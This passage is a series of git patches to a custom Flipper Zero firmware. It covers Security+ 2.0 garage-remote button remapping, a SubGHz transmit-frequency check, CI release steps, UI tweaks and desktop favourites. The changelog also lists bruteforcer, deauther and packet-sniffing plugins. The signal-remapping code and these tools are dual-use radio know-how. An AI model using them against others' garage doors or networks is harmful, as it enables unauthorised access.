subghz_protocol_secplus_v2_encode_half(uint8_t roll_array[], uin */ static void subghz_protocol_secplus_v2_encode(SubGhzProtocolEncoderSecPlus_v2* instance) { + // Save original button for later use + if(sc_btn_temp_id_original == 0) { + sc_btn_temp_id_original = instance->generic.btn; + } + + // Set custom button + if(sc_btn_temp_id == 1) { + switch(sc_btn_temp_id_original) { + case 0x68: + instance->generic.btn = 0x80; + break; + case 0x80: + instance->generic.btn = 0x68; + break; + case 0x81: + instance->generic.btn = 0x80; + break; + case 0xE2: + instance->generic.btn = 0x80; + break; + + default: + break; + } + } + if(sc_btn_temp_id == 2) { + switch(sc_btn_temp_id_original) { + case 0x68: + instance->generic.btn = 0x81; + break; + case 0x80: + instance->generic.btn = 0x81; + break; + case 0x81: + instance->generic.btn = 0x68; + break; + case 0xE2: + instance->generic.btn = 0x81; + break; + + default: + break; + } + } + if(sc_btn_temp_id == 3) { + switch(sc_btn_temp_id_original) { + case 0x68: + instance->generic.btn = 0xE2; + break; + case 0x80: + instance->generic.btn = 0xE2; + break; + case 0x81: + instance->generic.btn = 0xE2; + break; + case 0xE2: + instance->generic.btn = 0x68; + break; + + default: + break; + } + } + if((sc_btn_temp_id == 0) && (sc_btn_temp_id_original != 0)) { + instance->generic.btn = sc_btn_temp_id_original; + } uint32_t fixed_1[1] = {instance->generic.btn << 12 | instance->generic.serial >> 20}; uint32_t fixed_2[1] = {instance->generic.serial & 0xFFFFF}; uint8_t rolling_digits[18] = {0}; diff --git a/lib/subghz/protocols/secplus_v2.h b/lib/subghz/protocols/secplus_v2.h index 0eea732af..155d943b2 100644 --- a/lib/subghz/protocols/secplus_v2.h +++ b/lib/subghz/protocols/secplus_v2.h @@ -10,6 +10,14 @@ extern const SubGhzProtocolDecoder subghz_protocol_secplus_v2_decoder; extern const SubGhzProtocolEncoder subghz_protocol_secplus_v2_encoder; extern const SubGhzProtocol subghz_protocol_secplus_v2; +// Custom buttons +void secplus2_set_btn(uint8_t b); + +uint8_t secplus2_get_original_btn(); +uint8_t secplus2_get_custom_btn(); + +void secplus2_reset_original_btn(); + /** * Allocate SubGhzProtocolEncoderSecPlus_v2. * @param environment Pointer to a SubGhzEnvironment instance From 6580a03a49dda125130dc854f28dfcf3a5672fd4 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 16 Mar 2023 15:19:49 +0000 Subject: [PATCH 130/329] Fix release tgz naming (for real) --- .github/workflows/release.yml | 27 ++++++++++++--------------- 1 file changed, 12 insertions(+), 15 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 0efcf3925..1d79b5077 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -40,13 +40,13 @@ jobs: RELEASE_TAG="${RELEASE_NAME}_${DATE}" echo "RELEASE_TAG=${RELEASE_TAG}" >> $GITHUB_ENV - sed "s/VERSION = \"XFW-[[:digit:]]\{4\}\"/VERSION = \"${RELEASE_NAME}\"/g" ./scripts/version.py > ./scripts/version.py.new - rm ./scripts/version.py - mv ./scripts/version.py.new ./scripts/version.py + sed "s/VERSION = \"XFW-[[:digit:]]\{4\}\"/VERSION = \"${RELEASE_NAME}\"/g" scripts/version.py > scripts/version.py.new + rm scripts/version.py + mv scripts/version.py.new scripts/version.py - sed "s/DIST_SUFFIX = \"XFW-[[:digit:]]\{4\}_[[:digit:]]\{8\}\"/DIST_SUFFIX = \"${RELEASE_TAG}\"/g" ./fbt_options.py > ./fbt_options.py.new - rm ./fbt_options.py - mv ./fbt_options.py.new ./fbt_options.py + sed "s/DIST_SUFFIX = \"XFW-[[:digit:]]\{4\}_[[:digit:]]\{8\}\"/DIST_SUFFIX = \"${RELEASE_TAG}\"/g" fbt_options.py > fbt_options.py.new + rm fbt_options.py + mv fbt_options.py.new fbt_options.py - name: 'Build the firmware' run: | @@ -58,15 +58,12 @@ jobs: - name: "Make tgz, zip and webupdater" run: | - cd ./dist/${DEFAULT_TARGET}-* - mv flipper-z-${DEFAULT_TARGET}-update-*.tgz ${RELEASE_TAG}.tgz + cd dist/${DEFAULT_TARGET}-* mv ${DEFAULT_TARGET}-update-* ${RELEASE_TAG} - cd ./${RELEASE_TAG} - 7z a ../${RELEASE_TAG}.zip . - cd .. - mv ${RELEASE_TAG}.tgz .. - mv ${RELEASE_TAG}.zip .. - cd .. + tar --format=ustar -czvf ../${RELEASE_TAG}.tgz ${RELEASE_TAG} + cd ${RELEASE_TAG} + 7z a ../../${RELEASE_TAG}.zip . + cd ../.. python -m pip install pyncclient WEBUPDATER_URL="$(python -c "import nextcloud_client as n;c = n.Client('https://cloud.cynthialabs.net/');c.login('${{ secrets.NC_USER }}', '${{ secrets.NC_PASS }}');c.put_file('XFW-Updater/${RELEASE_TAG}.tgz', '${RELEASE_TAG}.tgz');print(c.share_file_with_link('XFW-Updater/${RELEASE_TAG}.tgz').get_link().rstrip('/') + '/download/${RELEASE_TAG}.tgz', end='')")" echo "WEBUPDATER_URL=${WEBUPDATER_URL}" >> $GITHUB_ENV @@ -80,7 +77,7 @@ jobs: with: default_author: github_actions message: Update version number - add: './fbt_options.py ./scripts/version.py' + add: 'fbt_options.py scripts/version.py' - name: "Merge pull request" uses: "pascalgn/automerge-action@v0.15.6" From 67e7325f436135062bd37c58c72925914d3bb571 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 16 Mar 2023 18:30:00 +0300 Subject: [PATCH 131/329] Update readme and changelog --- CHANGELOG.md | 2 ++ documentation/file_formats/iButtonFileFormat.md | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4e0837af2..c478f2287 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,8 @@ * Plugins: Removed `cdefines` from external plugins as it was not used in any way * Plugins: Updated **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) (fixed issue #379) * Plugins: Update for SubGHz Bruteforcer, added - Holtek HT12X 12bit AM 433.920MHz/315MHz/868MHz/915MHz (TE: 433us) +* OFW: iButton: Add support for Dallas DS1971 +* OFW: fbt: explicitly set dist suffix length, not depending on environment settings * OFW: NFC -> Skip the read when the card is not present * OFW: NFC -> Mark keys as not found when they couldn't auth successfully * OFW: Storage -> Require the trailing slash for root paths diff --git a/documentation/file_formats/iButtonFileFormat.md b/documentation/file_formats/iButtonFileFormat.md index d31c297a2..63743f063 100644 --- a/documentation/file_formats/iButtonFileFormat.md +++ b/documentation/file_formats/iButtonFileFormat.md @@ -26,7 +26,7 @@ Changelog: | Name | Type | Description | | ----------- | ------ | -------------------------------------------- | -| Protocol | string | Currently supported: DS1990, DS1992, DS1996, DS1997, DSGeneric*, Cyfral, Metakom | +| Protocol | string | Currently supported: DS1990, DS1992, DS1996, DS1971, DSGeneric*, Cyfral, Metakom | | Rom Data | hex | Read-only memory data (Dallas protocols only) | | Sram Data | hex | Static RAM data (DS1992 and DS1996 only) | Eeprom Data | hex | EEPROM data (DS1971 only) From 679352dbbffd8439a5678036b5e3e7b9348141d4 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 16 Mar 2023 18:22:00 +0000 Subject: [PATCH 132/329] Hide GPIO tags from wii menu names --- applications/services/gui/modules/menu.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index 8fe8dcbc5..68020c829 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -7,6 +7,7 @@ #include #include #include +#include struct Menu { View* view; @@ -80,6 +81,12 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { canvas_draw_icon_animation(canvas, (40 - item->icon->icon->width) / 2 + x_off, (20 - item->icon->icon->height) / 2 + y_off, item->icon); } furi_string_set(name, item->label); + if(furi_string_start_with_str(name, "[")) { + size_t trim = furi_string_search_str(name, "] ", 1); + if(trim != STRING_FAILURE) { + furi_string_right(name, trim + 2); + } + } elements_scrollable_text_line( canvas, 20 + x_off, From 559b0e9b40fc6ea468b02d4c8e2cfa53c0ef7c9c Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 16 Mar 2023 21:24:09 +0300 Subject: [PATCH 133/329] Small UI fixes --- CHANGELOG.md | 2 ++ applications/main/subghz/scenes/subghz_scene_set_type.c | 2 +- applications/services/gui/modules/submenu.c | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c478f2287..cfb0d4fe7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,8 @@ * SubGHz: Fix issues when external module is not found but plugins tries to use it, now they will fallback to internal in that case * SubGHz: Fixed external CC1101 module power issues, added more checks, fixed issues when launching subghz favourites * SubGHz: Removed 330MHz from default freq hopper to make it faster, to change freq hopper settings and remove/add your freqs see -> [Instruction](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSettings.md) +* SubGHz: Small UI text fixes +* GUI: Fix submenu elements text size, now we can fit more symbols * Plugins: Added delay and retries to avoid power issues in plugins -> WiFi Scanner, ESP8266 Deauther * Plugins: Update for WiFi Marauder companion -> `sniff` saves pcaps in `YourFlippersMicroSD/apps_data/marauder/` -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download esp32_marauder_ver_flipper_sd_serial.bin](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) - [(by tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion/pull/7) * Plugins: Removed `cdefines` from external plugins as it was not used in any way diff --git a/applications/main/subghz/scenes/subghz_scene_set_type.c b/applications/main/subghz/scenes/subghz_scene_set_type.c index 26065b107..50af12669 100644 --- a/applications/main/subghz/scenes/subghz_scene_set_type.c +++ b/applications/main/subghz/scenes/subghz_scene_set_type.c @@ -220,7 +220,7 @@ void subghz_scene_set_type_on_enter(void* context) { subghz); submenu_add_item( subghz->submenu, - "CAME Space 433MHz", + "KL: CAME Space 433MHz", SubmenuIndexCAMESpace, subghz_scene_set_type_submenu_callback, subghz); diff --git a/applications/services/gui/modules/submenu.c b/applications/services/gui/modules/submenu.c index 00e4d68b5..66b264458 100644 --- a/applications/services/gui/modules/submenu.c +++ b/applications/services/gui/modules/submenu.c @@ -98,7 +98,7 @@ static void submenu_view_draw_callback(Canvas* canvas, void* _model) { FuriString* disp_str; disp_str = furi_string_alloc_set(SubmenuItemArray_cref(it)->label); - elements_string_fit_width(canvas, disp_str, item_width - 20); + elements_string_fit_width(canvas, disp_str, item_width - 11); canvas_draw_str( canvas, From eb054785318b02c9d9ea3d90c38ab8242afb2be4 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 16 Mar 2023 18:50:37 +0000 Subject: [PATCH 134/329] Scroll text in variable item list option names --- .../services/gui/modules/variable_item_list.c | 35 ++++++++++++++++--- 1 file changed, 31 insertions(+), 4 deletions(-) diff --git a/applications/services/gui/modules/variable_item_list.c b/applications/services/gui/modules/variable_item_list.c index cf7f64ca3..a8f5e693a 100644 --- a/applications/services/gui/modules/variable_item_list.c +++ b/applications/services/gui/modules/variable_item_list.c @@ -20,12 +20,14 @@ struct VariableItemList { View* view; VariableItemListEnterCallback callback; void* context; + FuriTimer* scroll_timer; }; typedef struct { VariableItemArray_t items; uint8_t position; uint8_t window_position; + size_t scroll_counter; } VariableItemListModel; static void variable_item_list_process_up(VariableItemList* variable_item_list); @@ -56,11 +58,18 @@ static void variable_item_list_draw_callback(Canvas* canvas, void* _model) { const VariableItem* item = VariableItemArray_cref(it); uint8_t item_y = y_offset + (item_position * item_height); uint8_t item_text_y = item_y + item_height - 4; + size_t scroll_counter = 0; if(position == model->position) { canvas_set_color(canvas, ColorBlack); elements_slightly_rounded_box(canvas, 0, item_y + 1, item_width, item_height - 2); canvas_set_color(canvas, ColorWhite); + scroll_counter = model->scroll_counter; + if(scroll_counter < 1) { + scroll_counter = 0; + } else { + scroll_counter -= 1; + } } else { canvas_set_color(canvas, ColorBlack); } @@ -71,13 +80,15 @@ static void variable_item_list_draw_callback(Canvas* canvas, void* _model) { canvas_draw_str(canvas, 73, item_text_y, "<"); } - canvas_draw_str_aligned( + elements_scrollable_text_line( canvas, (115 + 73) / 2 + 1, item_text_y, - AlignCenter, - AlignBottom, - furi_string_get_cstr(item->current_value_text)); + 37, + item->current_value_text, + scroll_counter, + false, + true); if(item->current_value_index < (item->values_count - 1)) { canvas_draw_str(canvas, 115, item_text_y, ">"); @@ -198,6 +209,7 @@ void variable_item_list_process_up(VariableItemList* variable_item_list) { model->window_position = model->position - (items_on_screen - 1); } } + model->scroll_counter = 0; }, true); } @@ -219,6 +231,7 @@ void variable_item_list_process_down(VariableItemList* variable_item_list) { model->position = 0; model->window_position = 0; } + model->scroll_counter = 0; }, true); } @@ -250,6 +263,7 @@ void variable_item_list_process_left(VariableItemList* variable_item_list) { VariableItem* item = variable_item_list_get_selected_item(model); if(item->current_value_index > 0) { item->current_value_index--; + model->scroll_counter = 0; if(item->change_callback) { item->change_callback(item); } @@ -266,6 +280,7 @@ void variable_item_list_process_right(VariableItemList* variable_item_list) { VariableItem* item = variable_item_list_get_selected_item(model); if(item->current_value_index < (item->values_count - 1)) { item->current_value_index++; + model->scroll_counter = 0; if(item->change_callback) { item->change_callback(item); } @@ -286,6 +301,12 @@ void variable_item_list_process_ok(VariableItemList* variable_item_list) { false); } +static void variable_item_list_scroll_timer_callback(void* context) { + VariableItemList* variable_item_list = context; + with_view_model( + variable_item_list->view, VariableItemListModel * model, { model->scroll_counter++; }, true); +} + VariableItemList* variable_item_list_alloc() { VariableItemList* variable_item_list = malloc(sizeof(VariableItemList)); variable_item_list->view = view_alloc(); @@ -302,8 +323,12 @@ VariableItemList* variable_item_list_alloc() { VariableItemArray_init(model->items); model->position = 0; model->window_position = 0; + model->scroll_counter = 0; }, true); + variable_item_list->scroll_timer = + furi_timer_alloc(variable_item_list_scroll_timer_callback, FuriTimerTypePeriodic, variable_item_list); + furi_timer_start(variable_item_list->scroll_timer, 333); return variable_item_list; } @@ -323,6 +348,8 @@ void variable_item_list_free(VariableItemList* variable_item_list) { VariableItemArray_clear(model->items); }, false); + furi_timer_stop(variable_item_list->scroll_timer); + furi_timer_free(variable_item_list->scroll_timer); view_free(variable_item_list->view); free(variable_item_list); } From b0928fb3cd2d907fa7dc88ea6ec035c7ff76da92 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 17 Mar 2023 00:27:01 +0300 Subject: [PATCH 135/329] Fix subghz external module power issues --- applications/main/subghz/subghz.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/applications/main/subghz/subghz.c b/applications/main/subghz/subghz.c index 27a5ce634..75c6e627a 100644 --- a/applications/main/subghz/subghz.c +++ b/applications/main/subghz/subghz.c @@ -73,10 +73,6 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) { subghz->in_decoder_scene = false; subghz->in_decoder_scene_skip = false; - // Call enable power for external module - furi_hal_subghz_enable_ext_power(); - furi_delay_ms(15); - // View Dispatcher subghz->view_dispatcher = view_dispatcher_alloc(); view_dispatcher_enable_queue(subghz->view_dispatcher); @@ -425,9 +421,6 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) { // The rest free(subghz); - - // Disable power for External CC1101 if it was enabled and module is connected - furi_hal_subghz_disable_ext_power(); } int32_t subghz_app(void* p) { @@ -452,6 +445,9 @@ int32_t subghz_app(void* p) { subghz_environment_load_keystore( subghz->txrx->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); + // Call enable power for external module + furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available if(!furi_hal_subghz_check_radio()) { subghz->last_settings->external_module_enabled = false; @@ -509,6 +505,8 @@ int32_t subghz_app(void* p) { view_dispatcher_run(subghz->view_dispatcher); furi_hal_power_suppress_charge_exit(); + // Disable power for External CC1101 if it was enabled and module is connected + furi_hal_subghz_disable_ext_power(); subghz_free(subghz, alloc_for_tx); From 7de7fa293b6eb8def92ecfecc1c1aea63a269624 Mon Sep 17 00:00:00 2001 From: Astra <93453568+Astrrra@users.noreply.github.com> Date: Fri, 17 Mar 2023 16:45:42 +0200 Subject: [PATCH 136/329] Optimize trailing slash check (#2503) * Optimize trailing slash check --- .../services/storage/storage_processing.c | 40 +++++++++++-------- 1 file changed, 23 insertions(+), 17 deletions(-) diff --git a/applications/services/storage/storage_processing.c b/applications/services/storage/storage_processing.c index 59527e769..a3076f271 100644 --- a/applications/services/storage/storage_processing.c +++ b/applications/services/storage/storage_processing.c @@ -2,6 +2,17 @@ #include #include +#define STORAGE_PATH_PREFIX_LEN 4u +_Static_assert( + sizeof(STORAGE_ANY_PATH_PREFIX) == STORAGE_PATH_PREFIX_LEN + 1, + "Any path prefix len mismatch"); +_Static_assert( + sizeof(STORAGE_EXT_PATH_PREFIX) == STORAGE_PATH_PREFIX_LEN + 1, + "Ext path prefix len mismatch"); +_Static_assert( + sizeof(STORAGE_INT_PATH_PREFIX) == STORAGE_PATH_PREFIX_LEN + 1, + "Int path prefix len mismatch"); + #define FS_CALL(_storage, _fn) ret = _storage->fs_api->_fn; static bool storage_type_is_valid(StorageType type) { @@ -26,34 +37,29 @@ static StorageData* get_storage_by_file(File* file, StorageData* storages) { static const char* cstr_path_without_vfs_prefix(FuriString* path) { const char* path_cstr = furi_string_get_cstr(path); - return path_cstr + MIN(4u, strlen(path_cstr)); + return path_cstr + MIN(STORAGE_PATH_PREFIX_LEN, strlen(path_cstr)); } static StorageType storage_get_type_by_path(FuriString* path) { StorageType type = ST_ERROR; const char* path_cstr = furi_string_get_cstr(path); - if(furi_string_size(path) == 4) { - if(memcmp(path_cstr, STORAGE_EXT_PATH_PREFIX, strlen(STORAGE_EXT_PATH_PREFIX)) == 0) { - type = ST_EXT; - } else if(memcmp(path_cstr, STORAGE_INT_PATH_PREFIX, strlen(STORAGE_INT_PATH_PREFIX)) == 0) { - type = ST_INT; - } else if(memcmp(path_cstr, STORAGE_ANY_PATH_PREFIX, strlen(STORAGE_ANY_PATH_PREFIX)) == 0) { - type = ST_ANY; - } - } else if(furi_string_size(path) > 4) { - if(memcmp(path_cstr, EXT_PATH(""), strlen(EXT_PATH(""))) == 0) { - type = ST_EXT; - } else if(memcmp(path_cstr, INT_PATH(""), strlen(INT_PATH(""))) == 0) { - type = ST_INT; - } else if(memcmp(path_cstr, ANY_PATH(""), strlen(ANY_PATH(""))) == 0) { - type = ST_ANY; + if(furi_string_size(path) > STORAGE_PATH_PREFIX_LEN) { + if(path_cstr[STORAGE_PATH_PREFIX_LEN] != '/') { + return ST_ERROR; } } + if(memcmp(path_cstr, STORAGE_EXT_PATH_PREFIX, strlen(STORAGE_EXT_PATH_PREFIX)) == 0) { + type = ST_EXT; + } else if(memcmp(path_cstr, STORAGE_INT_PATH_PREFIX, strlen(STORAGE_INT_PATH_PREFIX)) == 0) { + type = ST_INT; + } else if(memcmp(path_cstr, STORAGE_ANY_PATH_PREFIX, strlen(STORAGE_ANY_PATH_PREFIX)) == 0) { + type = ST_ANY; + } + return type; } - static void storage_path_change_to_real_storage(FuriString* path, StorageType real_storage) { if(furi_string_search(path, STORAGE_ANY_PATH_PREFIX) == 0) { switch(real_storage) { From 9941457cdb3fc1000f83260a58bc57569f01f03e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 17 Mar 2023 22:51:59 +0300 Subject: [PATCH 137/329] Fix issue #387 --- applications/external/snake_game/application.fam | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/external/snake_game/application.fam b/applications/external/snake_game/application.fam index c736a4ddc..4c15c309b 100644 --- a/applications/external/snake_game/application.fam +++ b/applications/external/snake_game/application.fam @@ -1,5 +1,5 @@ App( - appid="snake_game", + appid="Snake", name="Snake Game", apptype=FlipperAppType.EXTERNAL, entry_point="snake_game_app", From f64168183ac6f96ab66570e76085b25defb0a8dc Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 17 Mar 2023 21:49:18 +0000 Subject: [PATCH 138/329] Fix subghz bypass logic --- firmware/targets/f7/furi_hal/furi_hal_subghz.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 77cedf109..a219303b7 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -513,16 +513,16 @@ bool furi_hal_subghz_is_tx_allowed(uint32_t value) { !(value >= 386999938 && value <= 467750000) && // was increased from 464 to 467.75 !(value >= 778999847 && value <= 928000000) && !(is_extended)) { FURI_LOG_I(TAG, "Frequency blocked - outside regional range"); - return false; + is_allowed = false; } else if( !(value >= 281000000 && value <= 361000000) && !(value >= 378000000 && value <= 481000000) && !(value >= 749000000 && value <= 962000000) && is_extended) { FURI_LOG_I(TAG, "Frequency blocked - outside extended range"); - return false; + is_allowed = false; } - return true; + return is_allowed; } uint32_t furi_hal_subghz_set_frequency(uint32_t value) { From 3444c5245ee743e0b3100e1859bbb4b728e1bece Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 18 Mar 2023 01:16:34 +0300 Subject: [PATCH 139/329] Tertiary favourite app --- CHANGELOG.md | 33 +------------ .../animations/views/bubble_animation_view.c | 8 ++-- .../services/desktop/desktop_settings.h | 3 +- .../desktop/scenes/desktop_scene_main.c | 19 ++++++++ .../services/desktop/views/desktop_events.h | 1 + .../desktop/views/desktop_view_main.c | 2 + .../scenes/desktop_settings_scene_favorite.c | 48 +++++++++++++++---- .../scenes/desktop_settings_scene_start.c | 22 +++++++-- 8 files changed, 84 insertions(+), 52 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cfb0d4fe7..7e88bc878 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,35 +1,6 @@ ### New changes -* SubGHz: New protocols support: CAME Space, Stilmatic / Schellenberg -* SubGHz: Add Manually - new protocols -> Beninca, Sommer(FSK), IronLogic, DTM Neo, Gibidi, Elmes Electronic (Elmes Poland), CAME Space -* SubGHz: Security+ 2.0 -> Ability to send custom buttons codes (0x80, 0x81, 0xE2) -* SubGHz: Remember last external module setting and power setting, so if you turn off flipper it will remember last external module settings (only for subghz app) -* SubGHz: Fix issues when external module is not found but plugins tries to use it, now they will fallback to internal in that case -* SubGHz: Fixed external CC1101 module power issues, added more checks, fixed issues when launching subghz favourites -* SubGHz: Removed 330MHz from default freq hopper to make it faster, to change freq hopper settings and remove/add your freqs see -> [Instruction](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSettings.md) -* SubGHz: Small UI text fixes -* GUI: Fix submenu elements text size, now we can fit more symbols -* Plugins: Added delay and retries to avoid power issues in plugins -> WiFi Scanner, ESP8266 Deauther -* Plugins: Update for WiFi Marauder companion -> `sniff` saves pcaps in `YourFlippersMicroSD/apps_data/marauder/` -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download esp32_marauder_ver_flipper_sd_serial.bin](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) - [(by tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion/pull/7) -* Plugins: Removed `cdefines` from external plugins as it was not used in any way -* Plugins: Updated **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) (fixed issue #379) -* Plugins: Update for SubGHz Bruteforcer, added - Holtek HT12X 12bit AM 433.920MHz/315MHz/868MHz/915MHz (TE: 433us) -* OFW: iButton: Add support for Dallas DS1971 -* OFW: fbt: explicitly set dist suffix length, not depending on environment settings -* OFW: NFC -> Skip the read when the card is not present -* OFW: NFC -> Mark keys as not found when they couldn't auth successfully -* OFW: Storage -> Require the trailing slash for root paths -* OFW: gh: use shallow clones whenever possible -* OFW: Add new nfc apdu cli command -* OFW: Picopass standard KDF dictionary -* OFW: Nfc: fixes for latest PVS-studio 7.23 -* OFW: Dolphin: new spring animation, weight adjust, drop winter animation. -* OFW: fbt, faploader: minimal app module implementation -> **All plugins now should have** `apptype=FlipperAppType.EXTERNAL` -* OFW: Fbt: fix broken resource deployment -* OFW: NFC: Fix 0 block write possibility in Mifare Classic emulation -* OFW: BadUSB: updated parser and added stringln, hold and release -* OFW: Upside down / left handed orientation support -* OFW: Embed assets in elf file -* OFW: Dumb mode menu freeze fix +* Desktop: Option to set Tertiary favourite app (Hold right arrow on desktop) - **Desktop settings (pin code, favourite app, autolock time) will be resetted!!! Only one time after installing - due to changes in settings structure, after installing of this release desktop settings will not be reset with next release** +* OFW: Optimize trailing slash check #### [🎲 Download latest extra apps pack](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip) diff --git a/applications/services/desktop/animations/views/bubble_animation_view.c b/applications/services/desktop/animations/views/bubble_animation_view.c index 607862d11..bd13bd34a 100644 --- a/applications/services/desktop/animations/views/bubble_animation_view.c +++ b/applications/services/desktop/animations/views/bubble_animation_view.c @@ -126,13 +126,11 @@ static bool bubble_animation_input_callback(InputEvent* event, void* context) { bubble_animation_activate(animation_view, false); } - if(event->key == InputKeyRight) { + if(event->key == InputKeyRight && event->type == InputTypeShort) { /* Right button reserved for animation activation, so consume */ consumed = true; - if(event->type == InputTypeShort) { - if(animation_view->interact_callback) { - animation_view->interact_callback(animation_view->interact_callback_context); - } + if(animation_view->interact_callback) { + animation_view->interact_callback(animation_view->interact_callback_context); } } diff --git a/applications/services/desktop/desktop_settings.h b/applications/services/desktop/desktop_settings.h index 26c39f611..4b4bca000 100644 --- a/applications/services/desktop/desktop_settings.h +++ b/applications/services/desktop/desktop_settings.h @@ -8,7 +8,7 @@ #include #include -#define DESKTOP_SETTINGS_VER (7) +#define DESKTOP_SETTINGS_VER (8) #define DESKTOP_SETTINGS_PATH INT_PATH(DESKTOP_SETTINGS_FILE_NAME) #define DESKTOP_SETTINGS_MAGIC (0x17) @@ -58,6 +58,7 @@ typedef struct { typedef struct { FavoriteApp favorite_primary; FavoriteApp favorite_secondary; + FavoriteApp favorite_tertiary; PinCode pin_code; uint8_t is_locked; uint32_t auto_lock_delay_ms; diff --git a/applications/services/desktop/scenes/desktop_scene_main.c b/applications/services/desktop/scenes/desktop_scene_main.c index 129270dc3..fd04ff917 100644 --- a/applications/services/desktop/scenes/desktop_scene_main.c +++ b/applications/services/desktop/scenes/desktop_scene_main.c @@ -170,6 +170,25 @@ bool desktop_scene_main_on_event(void* context, SceneManagerEvent event) { } consumed = true; break; + case DesktopMainEventOpenFavoriteTertiary: + DESKTOP_SETTINGS_LOAD(&desktop->settings); + if(desktop->settings.favorite_tertiary.is_external) { + LoaderStatus status = loader_start( + desktop->loader, + FAP_LOADER_APP_NAME, + desktop->settings.favorite_tertiary.name_or_path); + if(status != LoaderStatusOk) { + FURI_LOG_E(TAG, "loader_start failed: %d", status); + } + } else { + LoaderStatus status = loader_start( + desktop->loader, desktop->settings.favorite_tertiary.name_or_path, NULL); + if(status != LoaderStatusOk) { + FURI_LOG_E(TAG, "loader_start failed: %d", status); + } + } + consumed = true; + break; case DesktopAnimationEventCheckAnimation: animation_manager_check_blocking_process(desktop->animation_manager); consumed = true; diff --git a/applications/services/desktop/views/desktop_events.h b/applications/services/desktop/views/desktop_events.h index 6917dbe73..f0200ca80 100644 --- a/applications/services/desktop/views/desktop_events.h +++ b/applications/services/desktop/views/desktop_events.h @@ -5,6 +5,7 @@ typedef enum { DesktopMainEventOpenArchive, DesktopMainEventOpenFavoritePrimary, DesktopMainEventOpenFavoriteSecondary, + DesktopMainEventOpenFavoriteTertiary, DesktopMainEventOpenMenu, DesktopMainEventOpenDebug, DesktopMainEventOpenPassport, diff --git a/applications/services/desktop/views/desktop_view_main.c b/applications/services/desktop/views/desktop_view_main.c index 7e68cd4ca..0a1c72ca6 100644 --- a/applications/services/desktop/views/desktop_view_main.c +++ b/applications/services/desktop/views/desktop_view_main.c @@ -67,6 +67,8 @@ bool desktop_main_input_callback(InputEvent* event, void* context) { main_view->callback(DesktopMainEventOpenDebug, main_view->context); } else if(event->key == InputKeyLeft) { main_view->callback(DesktopMainEventOpenFavoriteSecondary, main_view->context); + } else if(event->key == InputKeyRight) { + main_view->callback(DesktopMainEventOpenFavoriteTertiary, main_view->context); } else if(event->key == InputKeyUp) { main_view->callback(DesktopMainEventLock, main_view->context); } else if(event->key == InputKeyOk) { diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c index 94c5ee9f0..822c6c7a9 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c @@ -53,23 +53,34 @@ void desktop_settings_scene_favorite_on_enter(void* context) { desktop_settings_scene_favorite_submenu_callback, app); - if(primary_favorite) { // Select favorite item in submenu + if(primary_favorite == 0) { // Select favorite item in submenu if((app->settings.favorite_primary.is_external && !strcmp(FLIPPER_APPS[i].name, FAP_LOADER_APP_NAME)) || (!strcmp(FLIPPER_APPS[i].name, 